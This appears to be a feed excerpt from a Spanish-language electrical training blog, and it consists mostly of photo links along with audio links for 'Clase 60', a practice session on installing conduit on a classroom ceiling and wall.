<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6CmTozb6VfbFaBu_2fz6ZwNuDQ2jnTaWdjnAv-U8CyzlSBAsAHwISH_So0RTGNKz_j1OxmzD5kSrSIN0gTfyYgcBVPR0gQfL-TqLqgW1jdas3Mite7pLV5BGZACWz_xM22OFMOMjRvKJqHj0tIzHDPpcAvXjqWf34Hh1-P3-5zpzVUbWRRYORRN0cChE/s4160/IMG-20250901-WA0000.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU0a-lej0rM1qPTkDySNuVd3ofIVvVGWXa7ZDnbWanqThyphenhyphenMv-aVBkZlS1JCaCvjyebzcmKykBOevN6HIjsa3ZqXHFpuH0_-ZxBMtw6xERdzZvkdO71uAYbx_IpKggvaK4pWrMDE1qtJhscO8fKV2D7aV70_GcQmMIGE_FCIdSAdKqMFvyg9iTEWpEwaIc/s4160/IMG-20250901-WA0001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCoK9IqUAhaoUfyfxBCX7TtAHqFerHERPtHxDz7MrktBy7AJnCOVp0OZ0ZFsl3B3BMPA6hDfZxlSzwzVJd1zswteeDlrPZrMgp14q7SZjDELG0s7nXiMm5ZkvWgLAg1-joDb2znRfhFTCvK3SBFF0E9bYzzjoKfkoAXHv6Pdiv0gPYRfWaXel7fidyx9Y/s4160/IMG-20250901-WA0002.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2-yTV7ZPoL4O18lQie6TmBfdalRbxcsntUnADi8iHZG6FdZYD8uhfTp7RK-5hFtLblt5SLyYewOCAILoyf8216bZAVQrvI-5kqqqpHidSRRQkXIykmu1aqtvD7Ye1c3hyGSrt6IM_nB8fZzWiQk5uQGZtqdJiWXkIvhwXB35vjFUQNzpuwfgaU9zORf0/s4160/IMG_20250901_193132596.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8ehcImi1O__XslXRvgpuJJavFq2wECqFwiADxIR5Pxb_8NvJtAakkKBTNl7HPErVDhf8RBjRnZGNtzBZEQO0AqKDq4mJ7SZQSGVRnmv_Hqhhy4D476GmRrv8RjrRokY4hLhPLhhlVqW8JPYwxwjcw73nkTmDoV3WSCI67GWy3WU-7QGePew4_M94HE38/s4160/IMG_20250901_193218141.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw5gqQmsSwlJUh-9dwSo_ncf32vk6eqOKWwRg9FrVVreem5a1i82Ns7wPn-izpFmclgFAC0zmW4eRBrKvyc52Sx8s54Pez-_d2BKtdo0yQ2ZiC4gMNSYBvr6LudZdqikMpsBe2Z8DDrfNAyn9KDWNTqmR6X6eC_f9KwnmfUCidnT1FfRIQfeWfP597ow4/s4160/IMG_20250901_193348823.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihTGWIDQlp29bLnPecVaGywDVCBLlKc2rN8vfhzJRg40liASZIQd0KHvzrEjxUWG0hersWhlu7zZiMYFH34Bai4NURNVHQMCRNru5G3CPNnnDXeFV9bswNjfbX7KY_HlG-WvwNEeE5O0L7BipzZXkaPz8QuLYLDwIrDUYmWmO6J_9N6PRiuspw4HAIDCg/s4160/IMG_20250901_193915632.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCxAOvlPMR9FOpVKnscMIWw3InVtZkw5U8I-vKPPB4qCeM75ztgchceZ1izy7H6e9rkXVqn3h7jhqmiHASLBLx4dswLJEa_Ga-xlWraUiBBvrtSCuy9BVBi1GHVYITrmE0J_FPv57vBZcdpH4kf7tgyNyRgn18SLHdAu0T3cjMxGAdek64ak2DP06dAv8/s4160/IMG_20250901_194622933.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiKOUK95lPmWnjZrrpWe8e-v43oVTQIWfsJoLKT9V0_R5e52Vvc8xzSbGJxfX5ymDMMtA0ksxa_xDKEZinUq7OuNyfgSG_mjIJ6f3ewko35uWYzursyDBAZgjxkxAdeZM_pfmG-otx_jwxa_KoGnk2PkYJ4LKxemKXxVF2mBWd8hrD2TI-KzT7z8Puo_w/s4160/IMG_20250901_200752697_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjTTq7b8JK2VM1GMB5ilab_0lenQZpG6zkX1FEdgK0_KzGey4-mjKExPmVlMj1-jaHYA4FnUmMyo4Ric66pc_tayCilztCY2HoOUj7lNWBfCpVoMuzSsUjgOAB4nEPJtBzZG3Bfbv-K8NPYAvebw6dD6UkUY5wMyVtyMcYQ61oT9iGMED8-gpNmx9jG7Q/s4160/IMG_20250901_200815219.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSkSOvm-6B0OmLsTrO__toYtr65BMTFTL2PrCXPg3iKfw2RLM6l7MXt5KanZdVL2LVRMjuja_XtN1eeuvuz32IWmGhdW_bSaHTQfSbQByjOvidqJ91_9mCOlIQ9_-WCQd1MR7k6u3aSjdBvstbOIZEGp9Ev0nNKUYhd8Q1fdOrEgcXYyDMH2Uv5ghhhqU/s4160/IMG_20250901_202552282.jpg" alt=""></p>
-
Electricidad / Clase 60: Día de práctica. Armado de canalización en aula (techo y pared).
https://imlauera.github.io/electricidad60/
Thu, 28 Aug 2025 17:24:36 -0300
https://imlauera.github.io/electricidad60/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1iZb5iMOHsNG">https://vocaroo.com/1iZb5iMOHsNG</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-235">https://archive.org/details/record-235</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=sBqx22vu-6Q">https://www.youtube.com/watch?v=sBqx22vu-6Q</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTuKL6j0ehVFGvGbjU1nJO3P7DvO8jEungD6oJ8hQxgqOIqlEo9iHGoW7WahyphenhyphenukyNiE5w_erFd76z2-EW744eis-apZTk1E33VaYLK72r3o1NImaG2SUmTSxLEuDeiMni3GuEITdmqXqfb6BrFppwGL0aySNCIcvopA-DvATOC9qYfHeLcrzHGG7r7Jg0/s4160/IMG_20250827_200053297.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCiTYVdWlor_e6mSbr2q24uSfxw8Ks0XD37ubLnAdFkXd6vfpmdDWp2uKvOKG3GGc-hFYopzKrbymzxWI_4-CDctOOfNwSKmXVrqizPUigNiTMJx504iXYBC7g0VrcWXTRfwwtswgImYH-LX_FLFPh3BFuxuPGCJkYGMpSMuloCFoHH_UBuTog20iBdxc/s4160/IMG-20250827-WA0003.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFVrrQc1I61NGOyprfJBsnPMTzNkiK_3mR0fF87nEZpRUyl4I0niNqdl8wEvd9Ff2i0_c394TUYCPXnfSs95pQRVQtfs3E_SAxerqhMDM5mo_TnOXlzoB5-P4F9yi0gGBekJrcWZusKBMntOBYz-_TfoivHWDapvwKIO8Y7fh8HZ7qDmemfWSq0g3urWQ/s4160/IMG-20250827-WA0005.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisGpQ0idIMHGI8Bvxp3hyphenhyphenNhxtTUyRsBeNZrtLF7iJCYKGP9ovo8keJl9hpZAO_lMTLsOoYMSFH9bGEzucVrx47OznFwIh01w934hPID6p4rvzuU4xbK45QAOKd5avFa0VVczw9PJ8mYK5ReQo7anN4DGtgHAQaIY8oJXQPtaaptavtzXq5jdFMo1SMZTo/s4160/IMG-20250827-WA0006.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5N28L_BNJT5VrMfvsPrzOwCqxQGjA1u2XJF7B6RvmDAm3lp6GdWLhtV0MGVhHAkerIT897xxCCAtcagDXgcZ-PiF0DYlWTPUFJR5GTuglprnI2PTX5bskpQgEeeAd5OV3lytpeVc50tgi0AKI8xZgxonhj5tlWUPRg66HwD6RT4q0ly4kMhBK34wv06s/s4160/IMG-20250827-WA0001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSkg3zZjvhhX3Vy-kwZPQrOlxmeXwaqyZN43BdSDPwQ3wDKMkuKLLqQUsR7iF3hhOzxD_3M2da2i24omUqXwSS4cvLjKvk1d_00Ab4ouFWR8NRow0WHhjSQOWgsf1i2CYtFncq-whh-IbNlX3C3oZ-WMulbjFUG24NFKGstdGGtOtjJ3m3xqFgOxsJdyA/s4160/IMG-20250827-WA0002.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik2NVBQxZsJ95g3XTfu-GNCabKKxsl6TAEbpV0wqdxgb0GQmXnvSsuc1kXUUM82Wp8QQYK0ReJrfemXYtF2KzwyIGJBNXJgc5fdpmzRdlhRL8k7W8Te4Prb9eCGAby5OS1wT05yY2c_T78Vkvuhh1tJ5Ib51DXAtGyfMOQXpYAQ88LrM56DsEpZUW3vt4/s4160/IMG-20250827-WA0003.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCetjMIa5OhrbBjoqZQM_4dVZR_63ihoHGGqHH00oZlJalFKgKsp8rhNAVhOSRUY_ETUf2PVKyLPUZYWPllfrbE8IswyDoeniK1_CWmYJVB4XdYy0n0XULbTKDd4yRkFiTGXWO0yQT6TrLF5qLieSVHuHuSS2nX-CG3dboJDMD6FELi8TeFzmW_POrlpc/s4160/IMG-20250827-WA0004.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSHETGiqbuP3pEYWkS2zZw3A8tTA4puCRNOBBD15aXhcuWHW_Vruq6Xt5F262e7rIUPVXfhPRYbuJjoIUxVxw-ZEskiDMnckKeGNGrH7kPilEtd8lRWHgFLdGyjaCOEdqmdU_3rZSOI2Ro44Ks9JC4TuDoIXf7ZzLMcaSPAomw2Im1N6e5x1jcTtts0dQ/s4160/IMG-20250827-WA0005.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEaXClQhv-zZjM-Y3IAWQqpNkg0zSpLZ9yG0E6W-QlLS1_pPMpSv4jYi9f7TA1KCn9O97NwXg5YCLXpunIyDYAhaln4mu0QvyotxvAYr5xwgV9neZ-zWK9eGiBrdo7TU5O5MpuTVkzQqqSkMmlP8wx4x1gCHf8EHkvyfXOkfU-PPRBTAUZxvpA32z96RM/s4160/IMG-20250827-WA0007.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1AdAcOi7TjGM66zqtVz6EzSoq1hl1lD0LQqzVX2LRIX2c8YqL8E2m9XW9ZJXDM6K2hNA72BwYDkXY_9uWs97Ap11LiNeJ9pi-iIb7o_qTTm2p1B_Awhx_EYECbLwxHv6GH7uuaBXguRUND80R6Ak4iPWrlbLcnK85u8lbCyumiOGt7CmNk6YG-rc9AjI/s4160/IMG-20250827-WA0008.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMCqS4D2_PXJoaEZp6wiEtCR0sz_RmDRcgptQaqyFSv5AWgngt50Ufjc2CtdEytxLPsOLiw0bzFV4LUFRWtLsRxukuz3R5NhRQ2yNm63Vc_U6IACQJH_iZ3-iI9Ka1sraN1GC-wAjVRJfrYO977LazSej2EQaljlm91Yka6N41XP__m7ywIqq6rCM8qRo/s4160/IMG-20250827-WA0010.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwzdqR1nfwcgNZefrb5Jm0MRfP2M1oHdqI01wVnbatiJ5xv3aYQyymHdow59lEKtFwMxnH9nK5LYzDaF_nKDENGKuu_XNMzkZ1koOC4jV6PCUbzbY8o0-f7RehgA8TwbZuQJ9zAjI1v_t_3hImOHHF7safz2Uhiu2pElmzGNf6_NE5qbLi2QrInsRHGeE/s4160/IMG-20250827-WA0011.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_LUio7iXgU3NgOCTR0GQwxctAUXPnSfJRCiZqZfYfsCfXKLKmqPCycejw9yoshamfkVy3iGSgSs1kKPLz2zMzrVzZUyucR_RorCZDnJqIH0HJvWrc6xJSHgZjELm10Rj3iko8AxSPJcsbBTsKCWljUsialmCPY0gkYFUspS6YOJ3Pv6zW8wOOl0DGRkw/s4160/IMG-20250827-WA0014.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6zU0bCSuYx2aKXiyGVD5GbpCSU71XCRnyWlhWwll8W1rC_BFtmLg1TQqhyQdPC2gcorj2hAT9VC52SN8WtUaCOxoQLDhI3Fym-l76QcDn5eWKF1OD_dEB0qh4qwbqW_sw7y4r6_KJz8UBYXSeJtUd0rsneKL84RKZI-UxhrvJ-3YUTk0hGknvv1ycnbQ/s4160/IMG-20250827-WA0015.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3ByPT4352j9PNFMfKskPt_R38VFlaC-IxAISGGhuMpl_GR_eeuST7Zat0Kepfd4IUmvRKXsan_66CaO9nfHLommj_CccCrZKjGAR3OX3-SuD1zejEC5O_aucAIyRjtydcdtS61OR9Vw6wpRGXRAYm01mfJob0sqhmG6wVTIs4Xgq4w3qZNc_qDMPwwtc/s4160/IMG-20250827-WA0016.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXliRtB_UyByI7ZYdb1xEq9BPta05h1YXqabnPIOFWtlSitEQNuoN3_6se7NOF82eJZUpymyB95uxWuulquy9y30C_lpY0DG57hw94NZeJBtpRf3KV2jlgbEK8AjBpJAfp32XSrEivaJqU9_W5Y7QHNPyJd17GVpduPTZX08BTmaJW3uY4eO5eYOyN_tc/s4160/IMG-20250827-WA0017.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisEzixfSpW-2HsAFvgNwrziDbS0Hxx6v0644xRYlI4aMnvrWGkHm2JZoOIkMVJz3wijW3eG7Xei0b89CiGNZ-BGIWfniLvlvYSAypXW_SRYEyjxV6LC_w0gR_yki0bEtox3nAXgksX6DVHPSbGRehaMAZn17v_FqRRxpNaLJYl6C7DDR_KowF2ACr3f24/s4160/IMG-20250827-WA0018.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN_KMPeB8_xn6_TlKoyRICmabkQO0EWcePFAtEzz2xnHI4kYsQJkgYjcua9hzCRoHfnRtcVsZJSHgjdO6TVnDuPGit3lnltFT0rIYnCpLsuZsjBuG18fFAmkRAHVC8-oMo1ZExMe5A4_wpxT4l1oxwgZbvLE-avhR2QqVVkSRryeCzQbzxuum2FFtcplc/s4160/IMG-20250827-WA0019.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6K4QpfgPHIo85lrcCNuKCz1KYxn97Ifkiuve_SDEWkkg-hXh4Fni3PPXrgiGIGBx3630onss1Jj7Rnyt-jwbNq7U3vpOBEzNwwbldJjRonmrOWFWozSXItAoZpG-KvAS9GFNLVCFC4ucW5MrMHauQGsqFzM6CzQSKnJZdl8Qz_IroqjqBusKCLcKFfmw/s4160/IMG-20250827-WA0020.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWg5Hqvjsl0CoQ6qoZHy_qhttTHUseCliNLZ5EPxLMSzx0AGYQnO275jAnfM4f3Yjw1eGBqzp-R4_fJpeR6tgWo0IgwtQRCX5pxlMGvrR0vNHT0sTAXjJPYpN3HXG2i1tS0VDk7wJo6A_nUY7yU4_FsFVo3RDAtxdufQOlGlOIXz-9hk4hfZl5vSwrfDk/s4160/IMG-20250901-WA0003.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXO8-Sb7BkRxIhlL5t_cxcmHvZNfK7OdNhSxFFw_Bmh8Rl_nSTCSiH3fP_naTu2qCHikTnX0MlhnBHEPkL5AuNHokqfjubfb8KPCJXPqHRntzpWPJbjzXdlHB0IUgqTTYzYu_6nGtjMWudMBEeHMsm1U7pWRtcXBjniOxat1uDyw0RUiz2-jzLNPTGlew/s4160/IMG-20250901-WA0004.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBM2h0O06OyO-nTY76H0XoCQ1yrW3Ru1BlzM4q3IruShh-uEwOpxw2FtY4o8dXWp3sxtJ9Ug2P3ab6zB-uXXUBqHeAPsK24y6e4SN7B19OgIMnvMK_mQMZdTxoh3OpPv83VlYIWbcOE8Z06D1btUdOPOG6F2xdTNtIb3gAnXxsg36bJQXaAVJaIlUHy0Y/s4160/IMG-20250901-WA0005.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBRz1i8jFZZQF7BCFq3bHK6Q9L0_ZVdiVWlNj6bTfZBGbnYsNtRp5frPQbCKpUDrioUZLGqBCEu3vhqNAbWZ0FsSeoAK6b3iWj7I95ore4Sk0ybTssVPtK-wTH1wGwCyUFLBjXmRsC-tISQJYDN0CG3mhLsAsLmPbWErs1d4S7C3BAWvbRp4LkrZX0l2A/s4160/IMG-20250901-WA0006.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKrllVh12mjeu4CZUoT4MHCN0-FjVWdsB51iWzz-HG5zfnHFpM8A3pYMo25hyphenhyphenUF-2SZE-XSY7wBSsxkA4yQKgaBiWeN_CiZ12hTQlL-cPuK1T7XVDnt7HeUWTCqNJ6Unc5mvIIAfLw-gMHpnu3tIVlL5sqhcsbwHZy1YQ5oM2F6pwEep0MhFbZEPRExZk/s4160/IMG-20250901-WA0007.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDoJq4FTBZOQz1O83E0ja3lgE_twhHm7yXlPqTFSs3oSZACaCJ01a2Gz2oBar6n7H9Ng9mw_1pMp56ZijZQ5PJncz9lHMicJsEMWElxm2y6R0ypjhrYbx4Rbp4LlRUFZCpe79oHuE1xRjvtxN3xDAWoYitTGslIAhEjm1F1eLgiKgalJzgTnYpd1QOYjI/s4160/IMG-20250901-WA0008.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBKCktfuxQDaDl12lj1a_4Eroa82i_MYEAMoWoocxT9EKRmg4cMAw1PYvSrzB-QvP0O3ThyphenhyphenzaVxn6vUs7uNbgwU5uyOa59Mse5wTy0o161YMLco3vVHjr7HTAghb0s557Bp0n6innwp9a-XQNiw7mUk0agPTUE0pwHCpC029FWo24PQewUlJDjc74Ferk/s4160/IMG-20250901-WA0009.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEL2oSmdk9p2MJSr9cOdAfdGg6cfs9JXmTcAHcgH1vV04qIQPJxC93B4QD8A6taYT1IM5o3LLn9RsmSuKvJZcxD4raC2XeChdSogMvMFwcpa3jNU0kHxIhwe6PM4IrbBZ0TVuNf-wM4-batxRAz6OZtS6y5LofLBJBkRTq3adroZxvGdKNBbW23va_NyE/s4160/IMG-20250901-WA0010.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX-tMZEVg8Hbg3BBd2hpIBJjSSbt3in5NX5yMe718ZnBhw2d5aNgP9NcsZlqTxdHW-za62el-GVUlQF4rsDLuB1j-i8Y0Z8Dc5MEjnRb4AXSMtXyq9gpoQHo5ytXeEnEV1YMf5n6QpVL3jtGzvtrlzPN4Oev5CW11kwASRgWrVFcgCROmecOUyafmzrxc/s4160/IMG-20250901-WA0011.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVrv3Xai8jI8EGdYg6oHulMtZwJ0NwV2jrTbv5H7Swg35sx8-UU-wUmznlHMGuLIXyIymhNtUu3-6fWH7Dg6QfneSHuvF6LsYIfoePGGjCyv5soZFr1PGcV1rfeG9j-BJJHpQAkpbI8n4unm4WqDT6nKOraixqoNP5YQdgFtP5e-DgwWvn3e-RcW-BInE/s4160/IMG-20250901-WA0012.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5jR7-pGHUjiiMdSKb4A9JgbYbAE1eb9tVApNlT1vySZ8ixtclDUmiZZ2RxBXwTOhCpv-vKWd2tO-aInLooBQutiYUGJB1JLQKJU1xfjMBsbjNt7kZ3ld2klSWlQz4VYqddRMLJlMD6zueilXQiWI6sA6d-jUy47aWGkRytDUjq6KuNIIGEm9AMtim1Dw/s4160/IMG-20250901-WA0013.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitwCUxlKVmLk_8XBtZilTMaUsS62ejgnPQ-aMNsMFSr6GQfHkjsJlXgPkUl3COObs0_TDp8SPiBvo22bhhUqID8yLfZMHQ1_Fc-4Is0HEKAMhIYRmLouqXBED7yu_PHv8HN2ZgA3fspYiJ9TBPkDdngN-fQnU6B3GmV0mkFmCTlsBKTWFqhpxRcW0t8Hs/s4160/IMG-20250901-WA0014.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOHv4hAO-mEL85FsWlO3a02YQ-6tm8uoBNrdhyMmA-RtMgNJGwAX12kWRbtW7oZktF7eknoi9RCMkEzzffcfU9Th0QzZ_2as5NJ_DRewy6P7MG4i9IpiyBm8HyWqAkFT878xQs51WAtYAowf72QY9DgEPUAPqAMQLOoXRCpBFY2M9BZGHy1KDUueXaQoc/s4160/IMG-20250901-WA0015.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjurJ6JH2x7bDfgI_UGo4yrTIGyJrrF9kX7yR7d-2MHj1eCafCfFAVHuBsZrc0SBVXu4rM3nFlL_amk8owpoQdpbn6hNrRwdMnn5epKrngXZV-AfpFznBSIJ1C-HMR3TR6wE2pLs-_l7qOrNuXD2U_UtKmUn2Q3wiwO_JBkcIhyphenhyphenYyWufI3dsPP8SyB_9ow/s4160/IMG-20250901-WA0016.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie4alb742hyphenhyphenMfw2bPfn_UG6xNDg8DyRwSfXHqNM-5esa8uw23NrwevJa9mqaHjZ2K033nvjo9vLoG6lZJPdlo36yEvWs_w3uucpjLV-vvn4iHp6sJ2Rq6xj461leLgQjTGkvoXWF0gARL046JguVBMObRk_0LiiQIWpaoSdM632xdWvbTs2-_WEcTfqW0/s4160/IMG-20250901-WA0017.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjh9QJ5GTDObJ3G5DnfST3zSTnOxdXMKZhqLkXK9fnzNTbdwyqiIDqgO8Baor5JlWIpc3SKRWzi7HUucD7BGmAINoQ-QEpTRZSgH7MWD6kHMN2pttXVj2oZZssak-ghm1RdJNpmz9RFUcFen59_FliUBE3qcJ9x9AeFkc0yrGLhOvzWZJWXoR3kC3otC0/s4160/IMG-20250901-WA0018.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6sD3lia7HsZtRVSLhMhl-fB7TSlniYYW3pKhrMjDJwyblpZjTtM3JsUmZHwoDr67sRFHPxJeQhBR_NnL8aEEQalj9ExS6rkr0smlm362n4U5joi7efB2jJDx1vhIYc9Ir8ZtmhkObB5aNsz9zKsKETE61G56CppzlnDW-JhjzJbHEQl9A5lycgQ_LIFs/s4160/IMG-20250901-WA0019.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX_GZAMLUIz07PDzH_p_Ehn-gjhiT0Tt4CWUXk6CJbetKC8uk9L5yztRwTe6wgBfCXD_j_rJhD50Zp9_vOjhsFZ04wZUkDePSnBxvXtHPTpmsgvRlzOJLfe2MgBPi2DSsOM0nR6s_HLmI5EdbDqKxfG0nhKbdXKeyR-BxuYw5OUdDfARu4uWSt2bpfmfo/s4160/IMG-20250901-WA0020.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB5PVIrYHZC-JsdrNeCKtVLrTEGClkmXuJY8yJkB8mNi51SlA0-phYf0Q_JHNVte1hz2rY5bAcJmoXj7_6qomhZAyoZACwZBCrVs2l5RfvP93ZWlHOQQ7vtrFPWUF_HkICjjRdTDEawvFwdMMsVRmShZxvSkZ06YKbF5LVslio4cJf7KdZYoBHXj7BD2M/s4160/IMG-20250901-WA0021.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9nkVv8gQDDcRgcNKZQ7EQxbJxmfQJjtx364OniXArPat9q9IAT36mosukhCGPgF4QVsWakArwgzVDWuNmwxWPn1dqLezIMREj9qs7Hz9eewdOAvjrBa_YvaIH4cy7PCCesMzrLDoWDctP9KwlXYTK3xO_Rzhr4LwT5BmiCfmQbltVUduIvKdQBE5CkoM/s4160/IMG-20250901-WA0022.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgyfUykbh5xhUh8esyxp756YBmAdNWTOPznsN0FQRqQjFZYqY7r2O27bE6QayEU6FR3mWTeQ3e6AT4PAlOxCYcuzRDygJIk8KTCCGwX_HUczL7kd8AmLhk8ZpWKJxuHNEF4CoX7hEMyQN28cdYJi8Jl9aqbQe3jntG99W3yIXtWPR_JYHgIhIiZWLaYWQ/s4160/IMG-20250901-WA0023.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJHBypgZtcbJEiaSEbEBkSJwRc6lnhkDZZF7LUCgKhkh85VFdlJu3s92Y-Bvk_uQ4DTOq1texpzPpIAx9Ubw1Hyhw8Sae83_fd9HpwloGkYrGU7hvul1X6eWbQu1HXfBjjwbWIBpvxax36wqwktKa8ASLrvpbuc9kyioOM73yL1XF77M0t8eoW_bykfwU/s4160/IMG-20250901-WA0024.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAzZ8XQFVa59jenZnGmG2JDYoUe91Xx5b2a3lJR1wzXajCnzr_3CFj6AbcNyX1jSjbtFuaa_vLXV-PnjsnFEpfLcMiy1dkgwfzEHq3u5XDLD2j2acJA08dXvoX_pyAgMnP5hf8_sDjE9xb356-Hp5J7U33xF2om5xosOo9bN3CYl_4OimdBdVWIe-NHiA/s4160/IMG-20250901-WA0025.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZSAXWRh_TH2HpXZ8xAoYo6IcUs4xjRpaX2vq7aF8RB0rnQYeDpKqkz8_TylEqxLxNwlAepp-FC6HrtDivefBORolfzcSw6-HD4Y0QFJJclYYMc3kFckuiHceWuxjUxh5Xr8QGgW17Di-9k0Puner8V4L8Bb2pQaeqxRygYrJWVqeqKAmka6Zo-0YSe0s/s4160/IMG-20250901-WA0026.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggIQ3HooTRPHODJiuG6A5bqObOfH-3f_K06wzYzP8ljIsA8BPPpI5TKsYi-_mA_csNlIBOxY22k9_j7vbPdqNls4cLcG-51Er2pxemM6-S_5KiuHsX4pnaYAb8qPIQ0SEJWBFctLnnwZYpf22JatW1sasINDzyGX3zVKUMeDIU7tNOfWAmL4sv5j_9oAk/s4160/IMG-20250901-WA0027.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbK2Zh6bFnn6mGEybsiUy1FRpb3Xrox_na1MHqhxO3E-DPduQDvNhE3zEaLG6lWieCcn4pOOGEpucQ7AsUnrW_4sFtLc0jKJDpLJQ8JIVkdsQtWlf3Xfu7r53sSVmtG-517PZkvUA1pTY_4AFCwqfCo82wA-xUuEMD6J7SXy4kAtdJ57Zb06oyFsWFj_k/s4160/IMG-20250901-WA0028.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRJFhUkTzEYhoBkVTlX4pj2mVfXs92cSyKgRuLHfCtW95LvF0IvA-47417Liz0R65G4kx7XlWFqBeHonXdSvV66kFdwYJn_dFBWr6rvE2kuJ03D1BTJKC74uCBEzw5IumUCuRUFkIvq4ZR03yeBE5-AY1mH3X4FV20Cdi-qDzAzAc31to16vKA5tKDlSM/s4160/IMG-20250901-WA0029.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZYMqeG6_nS64ZV7X73aIXA2_4c9kg7SmHoVgmgwh5VSzEqcL7OwU7f2Vsr2rdAeP91q6IkySJ0TPLQovdYn7b6aTEKQahjMip1dD-OwVb6XWF2292r03H6s-QSosqFMaa3eGO_jhEXgeUURcRaHJMarBU_j8401RIiBoUMigy3eEUI3EKB03iPQilUQM/s4160/IMG-20250901-WA0030.jpg" alt="">
